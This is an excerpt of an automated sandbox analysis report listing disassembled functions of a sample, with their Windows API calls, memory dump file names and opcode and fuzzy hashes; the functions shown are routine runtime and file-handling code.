GetStdHandle.KERNEL32(000000F6), ref: 00BD9795
ReadFile.KERNELBASE(?,?,?,?,00000000), ref: 00BD97AD
GetLastError.KERNEL32 ref: 00BD97DF
GetLastError.KERNEL32 ref: 00BD97FE

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: 001c1a832398f0f81354a55fa9b099638e854dfe1eff16c0b7ff89028dceac43
Instruction ID: 85b50f279f227f70e415c5af5cc3a7e17f21aac461d580e2c380953cb0d958e1
Opcode Fuzzy Hash: 001c1a832398f0f81354a55fa9b099638e854dfe1eff16c0b7ff89028dceac43
Instruction Fuzzy Hash: 3D11C230910204EBDF205F64C84476DB7E8FB02BA4F1085ABF81A95390F7758E44EB61

Function 00BFAD34 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00BF3F73,00000000,00000000,?,00BFACDB,00BF3F73,00000000,00000000,00000000,?,00BFAED8,00000006,FlsSetValue), ref: 00BFAD66
GetLastError.KERNEL32(?,00BFACDB,00BF3F73,00000000,00000000,00000000,?,00BFAED8,00000006,FlsSetValue,00C07970,FlsSetValue,00000000,00000364,?,00BF98B7), ref: 00BFAD72
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00BFACDB,00BF3F73,00000000,00000000,00000000,?,00BFAED8,00000006,FlsSetValue,00C07970,FlsSetValue,00000000), ref: 00BFAD80

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: b5d9920fcfcb53d31bcc403c9279aaf1e5c15321451cc2d3419d991bf201953e
Instruction ID: 94e06753727e53362def964e668e4be6229d873cd59a11b1f69c0aae40b9d50f
Opcode Fuzzy Hash: b5d9920fcfcb53d31bcc403c9279aaf1e5c15321451cc2d3419d991bf201953e
Instruction Fuzzy Hash: 0401FC7E61123AABC7254F689C84B6BBBDCEF057A27110670FA0AD3561D720D905C6E1

Function 00BD9F7A Relevance: 4.6, APIs: 3, Instructions: 111fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,?,?,?,?,00BDD343,00000001,?,?,?,00000000,00BE551D,?,?,?), ref: 00BD9F9E
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,00000000,00BE551D,?,?,?,?,?,00BE4FC7,?), ref: 00BD9FE5
WriteFile.KERNELBASE(0000001D,?,?,?,00000000,?,00000001,?,?,?,?,00BDD343,00000001,?,?), ref: 00BDA011

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: baeb3fb42793af7c99a452658291ff43606dcbcf09052294941814d31751898a
Instruction ID: 8d2201a14ed2c33487052271bcd64103da1abdf266c41bb49ed8f011e98b0101
Opcode Fuzzy Hash: baeb3fb42793af7c99a452658291ff43606dcbcf09052294941814d31751898a
Instruction Fuzzy Hash: F631CE71208345AFDB14CF20D858BAEB7E9EF84714F04495AF9819B390D775AE48CBA2

Function 00BDA2B2 Relevance: 4.6, APIs: 3, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 00BDC27E: _wcslen.LIBCMT ref: 00BDC284

CreateDirectoryW.KERNELBASE(?,00000000,?,?,?,00BDA175,?,00000001,00000000,?,?), ref: 00BDA2D9
CreateDirectoryW.KERNEL32(?,00000000,?,?,00000800,?,?,?,?,00BDA175,?,00000001,00000000,?,?), ref: 00BDA30C
GetLastError.KERNEL32(?,?,?,?,00BDA175,?,00000001,00000000,?,?), ref: 00BDA329

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: CreateDirectory$ErrorLast_wcslen
String ID:
API String ID: 2260680371-0
Opcode ID: ab3fb12a2c4930e9229645f2c92d10ba41ce2c5a3c945c646d67f288f84ec4ae
Instruction ID: e168f3a9dbd7a56998fb90dceed6d309a8bcb16b76b0d8df2c9ed364d88328e4
Opcode Fuzzy Hash: ab3fb12a2c4930e9229645f2c92d10ba41ce2c5a3c945c646d67f288f84ec4ae
Instruction Fuzzy Hash: 4C01B131200250AAEF21AB754C49BEDB6CDDF0A794F044497F902E6381F768CB81C6BA

Function 00BFB893 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 00BFB8B8

Strings

, xrefs: 00BFB8FD

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: bb31967d30534c1d89315a1b7489819b8ad190639e787901a273432f42d4c610
Instruction ID: 514f797f0bd3341be92b3cf57143b549b9f2559a6768d315b3da95f09e2195c7
Opcode Fuzzy Hash: bb31967d30534c1d89315a1b7489819b8ad190639e787901a273432f42d4c610
Instruction Fuzzy Hash: DE41F87050428C9ADF218E68CC84FFABBEDDB45304F1444EDE79A87142D375AA49CF60

Function 00BFAF6C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,2DE85006,00000001,?,?), ref: 00BFAFDD

Strings

LCMapStringEx, xrefs: 00BFAF7D, 00BFAF87

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: String
String ID: LCMapStringEx
API String ID: 2568140703-3893581201
Opcode ID: c14a24b0af036ee519914232905b7f7f0c380393261c123cc2f8dbf794720c16
Instruction ID: 76abc2ae849a2cc4de9a72f02242bd7ae21371d6755be633905d3905eef62987
Opcode Fuzzy Hash: c14a24b0af036ee519914232905b7f7f0c380393261c123cc2f8dbf794720c16
Instruction Fuzzy Hash: EA01087254421DBBCF069F90DC06EEE7FA6EF08750F054294FE1866161CA329A31EB91

Function 00BFAF0A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,00BFA56F), ref: 00BFAF55

Strings

InitializeCriticalSectionEx, xrefs: 00BFAF1B, 00BFAF25

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx
API String ID: 2593887523-3084827643
Opcode ID: 8fe5a5d60a90a79a4acf24bd26e61c3f2274d658ae642ae4a63f547e347b0211
Instruction ID: 7b1fdf182cec26f40b5eb157401d305f1b7eb45ec19cf9e2e3a813d02e5bf6ef
Opcode Fuzzy Hash: 8fe5a5d60a90a79a4acf24bd26e61c3f2274d658ae642ae4a63f547e347b0211
Instruction Fuzzy Hash: 4BF0E971A4521CBFCF0A6F55CC06EAEBFA5EF08711B4141A4FD089B260DA315E10D7D5

Function 00BFADAF Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 00BFADEE

Strings

FlsAlloc, xrefs: 00BFADC0, 00BFADCA

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: Alloc
String ID: FlsAlloc
API String ID: 2773662609-671089009
Opcode ID: 40913c408f541b08005a79d2cba7f074780ffd42ad78a6dd18af26aa5808fe65
Instruction ID: 1521297240ea555c54227954f26c331f066bf2a02d14cf194740791f7dd2864d
Opcode Fuzzy Hash: 40913c408f541b08005a79d2cba7f074780ffd42ad78a6dd18af26aa5808fe65
Instruction Fuzzy Hash: E4E0E571A8521C7BC609AB65DC06F7EBB94DB48721B0202F9F90997280CE706E10C6D6

Function 00BEEAE7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BEEAF9

Part of subcall function 00BEE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BEE8D0
Part of subcall function 00BEE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BEE8E1

Strings

3Ro, xrefs: 00BEEAE7, 00BEEAF3

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: 3Ro
API String ID: 1269201914-1492261280
Opcode ID: f9d39f4e09c0dd54816d39ed6a95236f56247b48ab761a66ac8721a61106c9b0
Instruction ID: e9f3a2fb47f7d1d25d67deedf2b52832c48ff3742d67e2ba4458bc37e34b1182
Opcode Fuzzy Hash: f9d39f4e09c0dd54816d39ed6a95236f56247b48ab761a66ac8721a61106c9b0
Instruction Fuzzy Hash: 58B012C62AA0C27C750863021DC2C37014CC0C0BA0F30917EF424CC0C1EE81CC455431

Function 00BFBBF0 Relevance: 3.2, APIs: 2, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 00BFB7BB: GetOEMCP.KERNEL32(00000000,?,?,00BFBA44,?), ref: 00BFB7E6

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,00BFBA89,?,00000000), ref: 00BFBC64
GetCPInfo.KERNEL32(00000000,00BFBA89,?,?,?,00BFBA89,?,00000000), ref: 00BFBC77

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 6ab0918a803e0363ee25f367dd135b21cffe78fd68ece5f086bbe34abbe601ec
Instruction ID: 0c713320dff683ddf0415633239aa6fd0a9739d48bb938ea04ea4f38bb8b213b
Opcode Fuzzy Hash: 6ab0918a803e0363ee25f367dd135b21cffe78fd68ece5f086bbe34abbe601ec
Instruction Fuzzy Hash: 32515578A0024D9EDB249F35C881EBBBBE4EF41300F2844FED6968B651D7349949CB91

Function 00BD9A74 Relevance: 3.1, APIs: 2, Instructions: 116COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(000000FF,?,?,?,-00000870,00000000,00000800,?,00BD9A50,?,?,00000000,?,?,00BD8CBC,?), ref: 00BD9BAB
GetLastError.KERNEL32(?,00000000,00BD8411,-00009570,00000000,000007F3), ref: 00BD9BB6

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: b2408948a013de5d5855771925c87cc8d281e20bb8660c5fd8f2618371f0e3d0
Instruction ID: 1a4da5a84e363061713599742bf1e59d2a823418135d5ea0c16cf08862cf64eb
Opcode Fuzzy Hash: b2408948a013de5d5855771925c87cc8d281e20bb8660c5fd8f2618371f0e3d0
Instruction Fuzzy Hash: 8B41DB316043418FDB24DF25E58496AF7E9FBD4320F168AAFE89583360F770ED448A91

Function 00BFBA27 Relevance: 3.1, APIs: 2, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 00BF97E5: GetLastError.KERNEL32(?,00C11030,00BF4674,00C11030,?,?,00BF3F73,00000050,?,00C11030,00000200), ref: 00BF97E9
Part of subcall function 00BF97E5: _free.LIBCMT ref: 00BF981C
Part of subcall function 00BF97E5: SetLastError.KERNEL32(00000000,?,00C11030,00000200), ref: 00BF985D
Part of subcall function 00BF97E5: _abort.LIBCMT ref: 00BF9863

Part of subcall function 00BFBB4E: _abort.LIBCMT ref: 00BFBB80
Part of subcall function 00BFBB4E: _free.LIBCMT ref: 00BFBBB4

Part of subcall function 00BFB7BB: GetOEMCP.KERNEL32(00000000,?,?,00BFBA44,?), ref: 00BFB7E6

_free.LIBCMT ref: 00BFBA9F
_free.LIBCMT ref: 00BFBAD5

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: _free$ErrorLast_abort
String ID:
API String ID: 2991157371-0
Opcode ID: e3191a189d0df71c8b9302b5346819b6ed23c3e1f5e06f88c7e9b3b618bf9139
Instruction ID: ded22f7773f20c36befd34a244bac315e1c06a1be8c592898242e5afe7154ce4
Opcode Fuzzy Hash: e3191a189d0df71c8b9302b5346819b6ed23c3e1f5e06f88c7e9b3b618bf9139
Instruction Fuzzy Hash: 5A317C3190420DAFDB14EBA8D481FBDB7E5EF41320F2540D9EA149B2A2EF329D48DB50

Function 00BD1E50 Relevance: 3.1, APIs: 2, Instructions: 86COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00BD1E55

Part of subcall function 00BD3BBA: __EH_prolog.LIBCMT ref: 00BD3BBF

_wcslen.LIBCMT ref: 00BD1EFD

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: H_prolog$_wcslen
String ID:
API String ID: 2838827086-0
Opcode ID: 8d27c3746c5dbd3a0128af4072fe88618916ffa92923e3a8488b4e16c20c4332
Instruction ID: d658ef1c17ab8b5848a2c5f95465840fc089a64ce60f162eac7731b3d84f6175
Opcode Fuzzy Hash: 8d27c3746c5dbd3a0128af4072fe88618916ffa92923e3a8488b4e16c20c4332
Instruction Fuzzy Hash: D6314A71905209AFCF11DFA9C945AEEFBF6EF08300F2008AAE845A7351D7325E00DB60

Function 00BD9DA2 Relevance: 3.1, APIs: 2, Instructions: 83timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32(?,?,?,?,?,?,00BD73BC,?,?,?,00000000), ref: 00BD9DBC
SetFileTime.KERNELBASE(?,?,?,?), ref: 00BD9E70

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: 992914f1be81152ec6bd6b833da5dba2a825e2b4ac1f6f29e9dc79abf37d7931
Instruction ID: e7615d6b0c3a7882acbfaccc7e4a98e26fb2609f51c9e8b209feee58826dd8c3
Opcode Fuzzy Hash: 992914f1be81152ec6bd6b833da5dba2a825e2b4ac1f6f29e9dc79abf37d7931
Instruction Fuzzy Hash: 2F21D031249285ABC714DF35C891AABFBE8EF55704F0849AEF4C587281E339E90CDB61

Function 00BD966E Relevance: 3.1, APIs: 2, Instructions: 82fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,00000001,00000000,00000002,00000000,00000000,?,00000000,?,?,?,00BD9F27,?,?,00BD771A), ref: 00BD96E6
CreateFileW.KERNEL32(?,?,00000001,00000000,00000002,00000000,00000000,?,?,00000800,?,?,00BD9F27,?,?,00BD771A), ref: 00BD9716

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: a444715827db890ad4d0e8adccec72e5ba151043358ea28594c6a1c43671f20f
Instruction ID: edcae216baff3fe699f1bab4e8553c267e64e6064f46a3d604de1fea2d3b6ce3
Opcode Fuzzy Hash: a444715827db890ad4d0e8adccec72e5ba151043358ea28594c6a1c43671f20f
Instruction Fuzzy Hash: 8821CF71100344AFE3309A65CC89FA7B7DCEB49324F100A5AFA96C22D1E7B4A884DB31

Function 00BD9E80 Relevance: 3.1, APIs: 2, Instructions: 56COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(000000FF,00000000,00000000,00000001), ref: 00BD9EC7
GetLastError.KERNEL32 ref: 00BD9ED4

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 5018d7e7dae3dab883a27f23707b1ecd9653868c5df58366ba6d19588b5f407d
Instruction ID: 64de9e965afb1d3dfa15c35dd9fbc9d3e2dfc80fefbe8921ac747e23d5571c54
Opcode Fuzzy Hash: 5018d7e7dae3dab883a27f23707b1ecd9653868c5df58366ba6d19588b5f407d
Instruction Fuzzy Hash: 2911E530600704EBE724C628C880BA6F7E9EB45360F504AABE552D27D0F774ED89C760

Function 00BF8E54 Relevance: 3.0, APIs: 2, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00BF8E75

Part of subcall function 00BF8E06: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00BFCA2C,00000000,?,00BF6CBE,?,00000008,?,00BF91E0,?,?,?), ref: 00BF8E38

HeapReAlloc.KERNEL32(00000000,?,?,?,00000007,00C11098,00BD17CE,?,?,00000007,?,?,?,00BD13D6,?,00000000), ref: 00BF8EB1

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
